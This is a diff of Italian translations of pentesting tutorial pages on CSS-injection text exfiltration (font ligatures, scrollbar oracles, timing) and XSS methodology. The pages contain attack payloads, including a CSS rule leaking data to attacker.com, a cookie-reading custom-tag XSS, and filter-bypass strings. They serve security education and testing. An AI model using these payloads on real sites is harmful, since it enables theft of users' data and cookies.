+- SVG fonts vengono creati con glyphs che hanno l'attributo `horiz-adv-x`, il quale imposta una larghezza elevata per un glyph che rappresenta una sequenza di due caratteri.
+- Esempio di SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, dove "XY" denota una sequenza di due caratteri.
+- Questi fonts vengono poi convertiti in formato woff usando fontforge.
 
 2. **Detection of Width Changes**:
 
-- CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style.
-- The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
-- The CSS involved:
+- Viene usato CSS per evitare l'wrapping del testo (`white-space: nowrap`) e per personalizzare lo stile della scrollbar.
+- L'apparizione di una scrollbar orizzontale, stilizzata in modo distinto, funge da indicatore (oracle) che una specifica ligature, e dunque una specifica sequenza di caratteri, è presente nel testo.
+- Il CSS coinvolto:
 ```css
 body {
 white-space: nowrap;
@@ -275,26 +275,26 @@ background: url(http://attacker.com/?leak);
 
 3. **Exploit Process**:
 
-- **Step 1**: Fonts are created for pairs of characters with substantial width.
-- **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
-- **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
-- **Step 4**: Detection of the three-character ligature is carried out.
-- **Step 5**: The process repeats, progressively revealing the entire text.
+- **Step 1**: Vengono creati fonts per coppie di caratteri con larghezza sostanziale.
+- **Step 2**: Si usa un trucco basato sulla scrollbar per rilevare quando il glyph di grande larghezza (ligature per una coppia di caratteri) viene renderizzato, indicando la presenza della sequenza di caratteri.
+- **Step 3**: Al rilevamento della ligature, si generano nuovi glyph che rappresentano sequenze di tre caratteri, incorporando la coppia rilevata e aggiungendo un carattere precedente o successivo.
+- **Step 4**: Si effettua la rilevazione della ligature a tre caratteri.
+- **Step 5**: Il processo si ripete, rivelando progressivamente l'intero testo.
 
 4. **Optimization**:
-- The current initialization method using `<meta refresh=...` is not optimal.
-- A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
+- Il metodo di inizializzazione attuale che usa `<meta refresh=...` non è ottimale.
+- Un approccio più efficiente potrebbe sfruttare il trucco `@import` in CSS, migliorando le prestazioni dell'exploit.
 
 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Riferimento:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
-This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Il charset usato in un text node può essere leaked **using the default fonts** installati nel browser: no external -or custom- fonts are needed.
+Questo trick è stato pubblicato in questo [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Il charset usato in un text node può essere leaked **using the default fonts** installati nel browser: non sono necessari fonts esterni o custom.
 
-Il concetto ruota attorno all'utilizzo di una animazione per espandere progressivamente la larghezza di un `div`, permettendo a un carattere alla volta di passare dalla parte 'suffix' del testo alla parte 'prefix'. Questo processo divide effettivamente il testo in due sezioni:
+Il concetto ruota intorno all'utilizzo di un'animazione per espandere incrementally la larghezza di un `div`, permettendo a un carattere alla volta di passare dalla parte 'suffix' del testo alla parte 'prefix'. Questo processo divide effettivamente il testo in due sezioni:
 
-1. **Prefisso**: The initial line.
-2. **Suffisso**: The subsequent line(s).
+1. Prefisso: la linea iniziale.
+2. Suffisso: la/e linea/e successive.
 
 Le fasi di transizione dei caratteri apparirebbero come segue:
 
@@ -309,13 +309,15 @@ B
 
 **CADB**
 
-Durante questa transizione, viene impiegato il **unicode-range trick** per identificare ogni nuovo carattere mentre si unisce al prefisso. Questo viene ottenuto cambiando il font in Comic Sans, che è notevolmente più alto rispetto al font di default, causando di conseguenza la comparsa di una scrollbar verticale. La comparsa di questa scrollbar rivela indirettamente la presenza di un nuovo carattere nel prefisso.
+Durante questa transizione viene impiegato il **unicode-range trick** per identificare ogni nuovo carattere man mano che si unisce al prefisso. Questo viene realizzato cambiando il font a Comic Sans, che è notevolmente più alto del font di default, causando quindi la comparsa di una scrollbar verticale. L'apparizione di questa scrollbar rivela indirettamente la presenza di un nuovo carattere nel prefisso.
+
+Sebbene questo metodo permetta la rilevazione dei caratteri unici mano a mano che compaiono, non specifica quale carattere sia ripetuto, solo che si è verificata una ripetizione.
 
 > [!TIP]
-> In pratica, la **unicode-range** viene usata per rilevare un **char**, ma siccome non vogliamo caricare un font esterno dobbiamo trovare un altro modo.\
-> Quando il **char** viene **trovato**, gli viene assegnato il pre-installato **Comic Sans font**, che rende il **char** più grande e scatena una **scroll bar** che farà **leak** del char trovato.
+> Fondamentalmente, il **unicode-range è usato per rilevare un char**, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un altro modo.\
+> Quando il **char** viene **trovato**, gli viene **assegnato** il **Comic Sans** preinstallato, che rende il char **più grande** e **fa comparire una scroll bar** che **leakerà il char trovato**.
 
-Controlla il codice estratto dal PoC:
+Check the code extracted from the PoC:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
 @font-face {
@@ -740,17 +742,17 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset con un default font nascondendo elementi (senza richiedere risorse esterne) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Riferimento:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Riferimento:** Questo è menzionato come [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Questo caso è molto simile a quello precedente; tuttavia, in questo scenario l'obiettivo del rendere specifici **caratteri più grandi di altri è nascondere qualcosa** (ad esempio un pulsante che non deve essere premuto dal bot o un'immagine che non deve essere caricata). Quindi potremmo misurare l'azione (o la sua assenza) e sapere se un carattere specifico è presente nel testo.
+Questo caso è molto simile al precedente; tuttavia, in questo caso l'obiettivo di rendere specifici **caratteri più grandi degli altri è nascondere qualcosa** come un pulsante che il bot non deve premere o un'immagine che non verrà caricata. Possiamo quindi misurare l'azione (o la sua assenza) e sapere se un carattere specifico è presente all'interno del testo.
 
 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Riferimento:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Riferimento:** Questo è menzionato come [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-In questo caso, potremmo provare a effettuare una leak per determinare se un carattere è presente nel testo, caricando un fake font dalla stessa origine:
+In questo caso, potremmo provare a leak se un carattere è presente nel testo caricando un fake font dalla stessa origine:
 ```css
 @font-face {
 font-family: "A1";
@@ -758,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-Se c'è una corrispondenza, il **font verrà caricato da `/static/bootstrap.min.css?q=1`**. Anche se non si caricherà correttamente, il **browser dovrebbe metterlo in cache**, e anche se non c'è cache, esiste il meccanismo **304 not modified**, quindi la **risposta dovrebbe essere più veloce** rispetto ad altre risorse.
+If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Although it won’t load successfully, the **browser should cache it**, and even if there is no cache, there is a **304 not modified** mechanism, so the **response should be faster** than other things.
 
-Tuttavia, se la differenza di tempo tra la risposta cached e quella non cached non è sufficientemente grande, questo non sarà utile. Per esempio, l'autore ha menzionato: "Ad ogni modo, dopo i test ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot usa il flag `disk-cache-size=1`, il che è davvero premuroso."
+Tuttavia, se la differenza di tempo tra la risposta cache e quella non-cache non è abbastanza grande, questo non sarà utile. Per esempio, l'autore ha scritto: "Dopo i test ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot usa il flag `disk-cache-size=1`, che è una scelta davvero accorta."
 
 ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Riferimento:** Questo è menzionato come [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-In questo caso puoi indicare **CSS per caricare centinaia di font finti** dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi **misurare il tempo** impiegato e scoprire se un char appare o meno con qualcosa del tipo:
+In questo caso puoi indicare **CSS to load hundreds of fake fonts** dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi **misurare il tempo** impiegato e scoprire se un char appare o no con qualcosa come:
 ```css
 @font-face {
 font-family: "A1";
@@ -781,7 +783,7 @@ browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Quindi, se il font non corrisponde, il tempo di risposta quando si visita il bot è previsto intorno ai 30 secondi. Tuttavia, se c'è una corrispondenza del font, verranno inviate più richieste per recuperare il font, causando un'attività di rete continua. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di stop e ricevere la risposta. Pertanto, il tempo di risposta può essere usato come indicatore per determinare se c'è una corrispondenza del font.
+Dunque, se il font non corrisponde, il tempo di risposta durante la visita al bot dovrebbe essere di circa 30 secondi. Tuttavia, se il font corrisponde, verranno inviate più richieste per recuperare il font, causando attività di rete continua. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di stop e ricevere la risposta. Pertanto, il tempo di risposta può essere usato come indicatore per determinare se c'è una corrispondenza del font.
 
 ## Riferimenti
 

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,33 +4,32 @@
 
 ## Metodologia
 
-1. Verifica se **qualsiasi valore che controlli** (_parameters_, _path_, _headers_?, _cookies_?) viene **riflesso** nell'HTML o **utilizzato** da codice **JS**.
-2. **Individua il contesto** in cui viene riflesso/utilizzato.
-3. Se è **riflesso**
-1. Verifica **quali simboli puoi usare** e, in base a quelli, prepara il payload:
+1. Verifica se **qualsiasi valore che controlli** (_parameters_, _path_, _headers_?, _cookies_?) viene **riflesso** nell'HTML o **usato** dal codice **JS**.
+2. **Trova il contesto** in cui viene riflesso/usato.
+3. Se è **reflected**
+1. Controlla **quali simboli puoi usare** e a seconda di questo prepara il payload:
 1. In **raw HTML**:
 1. Puoi creare nuovi tag HTML?
 2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`?
 3. Puoi bypassare le protezioni?
-4. Il contenuto HTML viene interpretato da qualche motore JS client side (_AngularJS_, _VueJS_, _Mavo_...)? Potresti sfruttare una [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Se non puoi creare tag HTML che eseguono codice JS, puoi sfruttare una [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+4. Il contenuto HTML viene interpretato da qualche engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
+5. Se non puoi creare tag HTML che eseguono codice JS, puoi abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. All'interno di un **tag HTML**:
 1. Puoi uscire al contesto raw HTML?
 2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
 3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
 4. Puoi bypassare le protezioni?
 3. All'interno del **codice JavaScript**:
-1. Puoi uscire dal tag `<script>`?
-2. Puoi uscire dalla stringa ed eseguire un codice JS diverso?
-3. Il tuo input è in template literals ``?
+1. Puoi evadere il tag `<script>`?
+2. Puoi evadere la stringa ed eseguire codice JS diverso?
+3. Il tuo input è in template literals \`\`?
 4. Puoi bypassare le protezioni?
 4. Funzione Javascript che viene **eseguita**
-1. Puoi indicare il nome della funzione da eseguire. e.g.: `?callback=alert(1)`
-4. Se viene **usato**:
-1. Potresti sfruttare una **DOM XSS**, fai attenzione a come il tuo input è controllato e se il tuo **input controllato è usato da qualche sink.**
-
-Quando lavori su un XSS complesso potrebbe esserti utile sapere di:
+1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
+4. Se è **usato**:
+1. Potresti sfruttare una **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è usato da qualche sink.**
 
+Quando lavori su una XSS complessa potrebbe esserti utile sapere di:
 
 {{#ref}}
 debugging-client-side-js.md
@@ -38,31 +37,31 @@ debugging-client-side-js.md
 
 ## Valori riflessi
 
-Per sfruttare con successo un XSS la prima cosa da trovare è un **valore controllato da te che viene riflesso** nella pagina web.
+Per sfruttare con successo una XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
 
-- **Intermediately reflected**: Se trovi che il valore di un parametro o anche del path viene riflesso nella pagina web puoi sfruttare una **Reflected XSS**.
-- **Stored and reflected**: Se trovi che un valore controllato da te viene salvato sul server e riflesso ogni volta che accedi a una pagina puoi sfruttare una **Stored XSS**.
-- **Accessed via JS**: Se trovi che un valore controllato da te viene accesso usando JS puoi sfruttare una **DOM XSS**.
+- **Riflesso intermedio**: Se trovi che il valore di un parametro o anche il path viene riflesso nella pagina web potresti sfruttare una **Reflected XSS**.
+- **Salvato e riflesso**: Se trovi che un valore controllato da te è salvato sul server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare una **Stored XSS**.
+- **Accessed via JS**: Se trovi che un valore controllato da te viene accesso usando JS potresti sfruttare una **DOM XSS**.
 
 ## Contesti
 
-Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi differenti.
+Quando provi a sfruttare una XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, potrai eseguire codice JS arbitrario in modi diversi.
 
 ### Raw HTML
 
-Se il tuo input è **riflesso nell'HTML grezzo** della pagina dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti tag HTML che puoi usare.\
-Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
+Se il tuo input è **riflesso nell'HTML grezzo** della pagina dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
+Ricorda anche [Client Side Template Injection](../client-side-template-injection-csti.md).
 
-### Inside HTML tags attribute
+### Dentro gli attributi dei tag HTML
 
-Se il tuo input è riflesso all'interno del valore di un attributo di un tag puoi provare:
+Se il tuo input è riflesso dentro il valore di un attributo di un tag potresti provare:
 
-1. Di **uscire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
-2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o cancellato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
-3. Se **non puoi uscire dall'attributo** (`"` viene codificato o cancellato), allora a seconda di **quale attributo** il tuo valore è riflesso e **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` potrai farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
-4. Se il tuo input è riflesso all'interno di "unexpoitable tags" puoi provare il trucco **`accesskey`** per abusare della vuln (avrai bisogno di qualche forma di social engineering per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**
+1. A **evadere dall'attributo e dal tag** (poi sarai nell'raw HTML) e creare un nuovo tag HTML da abusare: `"><img [...]`
+2. Se **puoi evadere dall'attributo ma non dal tag** (`>` è codificato o cancellato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
+3. Se **non puoi evadere dall'attributo** (`"` è codificato o cancellato), allora a seconda **di quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** potrai abusarne. Per **esempio**, se controlli un evento come `onclick=` potrai farlo eseguire codice arbitrario al click. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
+4. Se il tuo input è riflesso dentro “tag non sfruttabili” potresti provare la tecnica **`accesskey`** per abusare della vulnerabilità (ti servirà qualche forma di social engineering per sfruttarla): **`" accesskey="x" onclick="alert(1)" x="`**
 
-Weird example of Angular executing XSS if you controls a class name:
+Esempio strano di Angular che esegue XSS se controlli un nome di classe:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -72,13 +71,13 @@ Weird example of Angular executing XSS if you controls a class name:
 
 In questo caso il tuo input viene riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o in un attributo che usa il protocollo **`javascript:`**:
 
-- Se riflesso tra **`<script> [...] </script>`** tag, anche se il tuo input è all'interno di qualsiasi tipo di apici, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser analizzerà prima i tag HTML** e poi il contenuto, quindi non noterà che il tag `</script>` che hai iniettato è dentro il codice HTML.
-- Se riflesso **inside a JS string** e l'ultimo trucco non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è qualche errore, non verrà eseguito:
+- Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è racchiuso in qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non noterà che il tuo tag `</script>` iniettato si trovi all'interno del codice HTML.
+- Se riflesso **all'interno di una JS string** e l'ultimo trucco non funziona dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è qualche errore, non verrà eseguito:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Se riflesso all'interno dei template literals puoi **inserire espressioni JS** usando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** funziona per scrivere **valid javascript code**:
+- Se riflesso all'interno di template literals puoi **inserire espressioni JS** usando la sintassi `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- La **codifica Unicode** funziona per scrivere **codice javascript valido**:
 ```javascript
 alert(1)
 alert(1)
@@ -86,8 +85,8 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting fa riferimento alla possibilità di **dichiarare functions, variables or classes dopo che sono state usate in modo da poter sfruttare scenari dove una XSS sta usando variabili o funzioni non dichiarate.**\
-**Controlla la pagina seguente per più info:**
+Javascript Hoisting si riferisce alla possibilità di **dichiarare funzioni, variabili o classi dopo che sono state usate in modo da poter sfruttare scenari in cui una XSS sta usando variabili o funzioni non dichiarate.**\
+**Controlla la pagina seguente per maggiori info:**
 
 
 {{#ref}}
@@ -96,19 +95,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-Diverse pagine web hanno endpoint che **accept as parameter the name of the function to execute**. Un esempio comune che si vede nel mondo reale è qualcosa come: `?callback=callbackFunc`.
+Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune visto in ambiente reale è qualcosa come: `?callback=callbackFunc`.
 
-Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del param** (per esempio in 'Vulnerable') e guardare nella console errori come:
+Un buon modo per scoprire se qualcosa fornito direttamente dall'utente viene eseguito è **modificare il valore del parametro** (per esempio in 'Vulnerable') e guardare nella console errori come:
 
 ![](<../../images/image (711).png>)
 
-Se è vulnerabile, potresti essere in grado di **trigger an alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoints **validate the content** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**).
+Se è vulnerabile, potresti riuscire a **scatenare un alert** semplicemente inviando il valore: **`?callback=alert(1)`**. Tuttavia, è molto comune che questi endpoint **validino il contenuto** per consentire solo lettere, numeri, punti e underscore (**`[\w\._]`**).
 
-Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per **access any element in the DOM**:
+Tuttavia, anche con questa limitazione è ancora possibile effettuare alcune azioni. Questo perché puoi usare quei caratteri validi per **accedere a qualsiasi elemento del DOM**:
 
 ![](<../../images/image (747).png>)
 
-Alcune funzioni utili a tal fine:
+Alcune funzioni utili per questo:
 ```
 firstElementChild
 lastElementChild
@@ -116,11 +115,11 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-Puoi anche provare ad **attivare funzioni Javascript** direttamente: `obj.sales.delOrders`.
+Puoi anche provare a **attivare funzioni Javascript** direttamente: `obj.sales.delOrders`.
 
-Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origin** avranno un **DOM più interessante** per eseguire più azioni.
+Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint con un DOM poco interessante; altre pagine nella stessa origine avranno un DOM più interessante per eseguire ulteriori azioni.
 
-Pertanto, per **abusare di questa vulnerabilità in un DOM diverso** è stato sviluppato lo sfruttamento **Same Origin Method Execution (SOME)**:
+Perciò, per sfruttare questa vulnerabilità in un DOM diverso è stato sviluppato lo sfruttamento Same Origin Method Execution (SOME):
 
 
 {{#ref}}
@@ -129,7 +128,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Esiste del **JS code** che utilizza in modo **non sicuro** alcuni **dati controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
+Esiste **JS code** che usa **in modo non sicuro** alcuni **dati controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.
 
 
 {{#ref}}
@@ -138,7 +137,7 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Questo tipo di XSS può essere trovato **ovunque**. Non dipendono soltanto dall'exploitation lato client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **arbitrary JavaScript execution** può perfino essere abusato per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\  
+Questo tipo di XSS può essere trovato **ovunque**. Non dipendono solo dallo sfruttamento client di un'applicazione web ma da **qualsiasi** **contesto**. Questo tipo di **arbitrary JavaScript execution** può persino essere abusato per ottenere **RCE**, leggere file arbitrari sui client e sui server, e altro ancora.\
 Alcuni **esempi**:
 
 
@@ -151,15 +150,17 @@ server-side-xss-dynamic-pdf.md
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF bypass encoding image
+## Immagine per WAF bypass encoding
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Iniezione all'interno di HTML grezzo
+## Iniezione all'interno di raw HTML
 
-Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi eseguire escape e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e verifica se viene **codificato in HTML** o **eliminato** oppure se viene **riflesso senza modifiche**. **Solo nell'ultimo caso riuscirai a sfruttare questa situazione**.\ Per questi casi tieni anche a mente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Nota: Un commento HTML può essere chiuso usando\*\***\***\*`-->`\*\***\***\*o \*\***`--!>`\*\*_
+Quando il tuo input viene riflesso **all'interno della pagina HTML** oppure puoi evadere e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è verificare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **codificato in HTML**, **eliminato** o se viene **riflesso senza modifiche**. **Solo nel ultimo caso sarai in grado di sfruttare questa situazione**.\
+Per questi casi tieni anche **in considerazione** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Nota: Un commento HTML può essere chiuso usando `-->` o `--!>`**_
 
-In questo caso, e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:
+In questo caso e se non viene usata nessuna black/whitelisting, potresti usare payloads come:
 ```html
 <script>
 alert(1)
@@ -167,22 +168,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Tuttavia, se è in uso un meccanismo di black/whitelisting per tag/attributi, dovrai **brute-force quali tag** puoi creare.\
+Ma, se viene utilizzato il black/whitelisting di tags/attributes, dovrai **brute-force quali tag** puoi creare.\
 Una volta che hai **individuato quali tag sono consentiti**, dovrai **brute-force attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
 
-### Brute-force di tag/eventi
+### Brute-force Tags/Eventi
 
-Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copy tags to clipboard**_. Poi, inviali tutti usando Burp intruder e controlla se qualche tag non è stato rilevato come malevolo dal WAF. Una volta scoperto quali tag puoi usare, puoi **brute-force tutti gli eventi** usando i tag validi (nella stessa pagina clicca su _**Copy events to clipboard**_ e segui la stessa procedura di prima).
+Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copy tags to clipboard**_. Poi, inviali tutti usando Burp intruder e verifica se qualche tag non è stato rilevato come malevolo dal WAF. Una volta scoperti i tag utilizzabili, puoi **brute force tutti gli eventi** usando i tag validi (nella stessa pagina web clicca su _**Copy events to clipboard**_ e segui la stessa procedura di prima).
 
 ### Tag personalizzati
 
-Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far sì che la pagina **focalizzi quell'oggetto** e **esegua** il codice:
+Se non trovi nessun HTML tag valido, puoi provare a **creare un custom tag** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far sì che la pagina **focus on that object** ed **execute** il codice:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Se viene usata una sorta di blacklist, puoi provare a bypassarla con qualche trucco sciocco:
+Se viene usato qualche tipo di blacklist puoi provare a bypassarla con qualche trucco sciocco:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -232,31 +233,31 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Length bypass (small XSSs)
+### Bypass di lunghezza (small XSSs)
 
-> [!NOTE] > **Ulteriori tiny XSS per ambienti diversi** payload [**si possono trovare qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Altri tiny XSS payload per diversi ambienti** [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-L'ultimo usa 2 caratteri unicode che si espandono in 5: telsr\
-Altri di questi caratteri si possono trovare [qui](https://www.unicode.org/charts/normalization/).\
-Per verificare in quali caratteri vengono decomposti controlla [qui](https://www.compart.com/en/unicode/U+2121).
+L'ultimo usa 2 caratteri unicode che si espandono in 5: telsr\  
+Più di questi caratteri possono essere trovati [here](https://www.unicode.org/charts/normalization/).\  
+Per verificare in quali caratteri sono decomposti controlla [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-Se per sfruttare la vulnerabilità hai bisogno che l'**user clicchi un link o un form** con dati precompilati, puoi provare a [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
+Se, per sfruttare la vulnerabilità, hai bisogno che **l'utente clicchi un link o un form** con dati precompilati, puoi provare a [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
 
 ### Impossible - Dangling Markup
 
-Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo in grado di eseguire codice JS**, dovresti controllare [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) perché potresti **sfruttare** la vulnerabilità **senza** eseguire codice **JS**.
+Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo per eseguire codice JS**, dovresti controllare [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) perché potresti **exploit** la vulnerabilità **senza** eseguire codice **JS**.
 
-## Iniezione dentro un tag HTML
+## Injecting inside HTML tag
 
-### All'interno del tag/uscire dal valore dell'attributo
+### Inside the tag/escaping from attribute value
 
